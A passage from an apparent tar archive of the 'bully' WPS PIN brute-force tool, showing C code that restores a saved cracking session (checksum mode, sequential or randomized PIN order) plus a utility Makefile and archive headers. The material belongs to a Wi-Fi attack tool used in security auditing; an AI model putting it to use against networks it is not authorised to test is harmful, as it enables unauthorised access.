if ((sscanf(last, "%8d:%8d:%1d:", &index, &pin, &broken)) != 3) {
vprint("[X] Session save file appears corrupted, exiting\n");
//exit(8);
};
if (G->broken) {
if (!broken) {
vprint("[!] WARNING: WPS checksum was autogenerated in prior session, now bruteforced\n");
if (!G->force) {
force_exit:
vprint("[X] Use --force to ignore above warning(s) and continue anyway\n");
exit(10);
};
};
} else {
index /= 10;
pin /= 10;
if (broken) {
vprint("[!] WARNING: WPS checksum was bruteforced in prior session, now autogenerated\n");
if (!G->force) goto force_exit;
};
};
if (G->random) {
if (index == pin) {
vprint("[!] WARNING: Randomized search requested but prior session was sequential\n");
if (!G->force) goto force_exit;
} else
if (pin != G->pin1[index/pin2max] * pin2max + G->pin2[index%pin2max] / pin2div) {
vprint("[!] WARNING: Randomized pin file modified after last run, can't continue\n");
if (!G->force) goto force_exit;
};
} else
if (index != pin) {
vprint("[!] WARNING: Sequential search requested but prior session was randomized\n");
if (!G->force) goto force_exit;
};
return index;
};
bully-1.4-00/src/utils/ 0000775 0000000 0000000 00000000000 13615304636 0014660 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/utils/.gitignore 0000664 0000000 0000000 00000000013 13615304636 0016642 0 ustar 00root root 0000000 0000000 libutils.a
bully-1.4-00/src/utils/Makefile 0000775 0000000 0000000 00000000754 13615304636 0016331 0 ustar 00root root 0000000 0000000 all: libutils.a
clean:
rm -f *~ *.o *.d libutils.a
install:
@echo Nothing to be made.
include ../lib.rules
#CFLAGS += -DWPA_TRACE
CFLAGS += -DCONFIG_IPV6
LIB_OBJS= \
base64.o \
common.o \
ip_addr.o \
radiotap.o \
trace.o \
uuid.o \
wpa_debug.o \
wpabuf.o
# Pick correct OS wrapper implementation
LIB_OBJS += os_unix.o
# Pick correct event loop implementation
LIB_OBJS += eloop.o
#LIB_OBJS += pcsc_funcs.o
libutils.a: $(LIB_OBJS)
$(AR) crT $@ $?
-include $(OBJS:%.o=%.d)
bully-1.4-00/src/utils/base64.c 0000775 0000000 0000000 00000006767 13615304636 0016133 0 ustar 00root root 0000000 0000000 /*
* Base64 encoding/decoding (RFC1341)
* Copyright (c) 2005, Jouni Malinen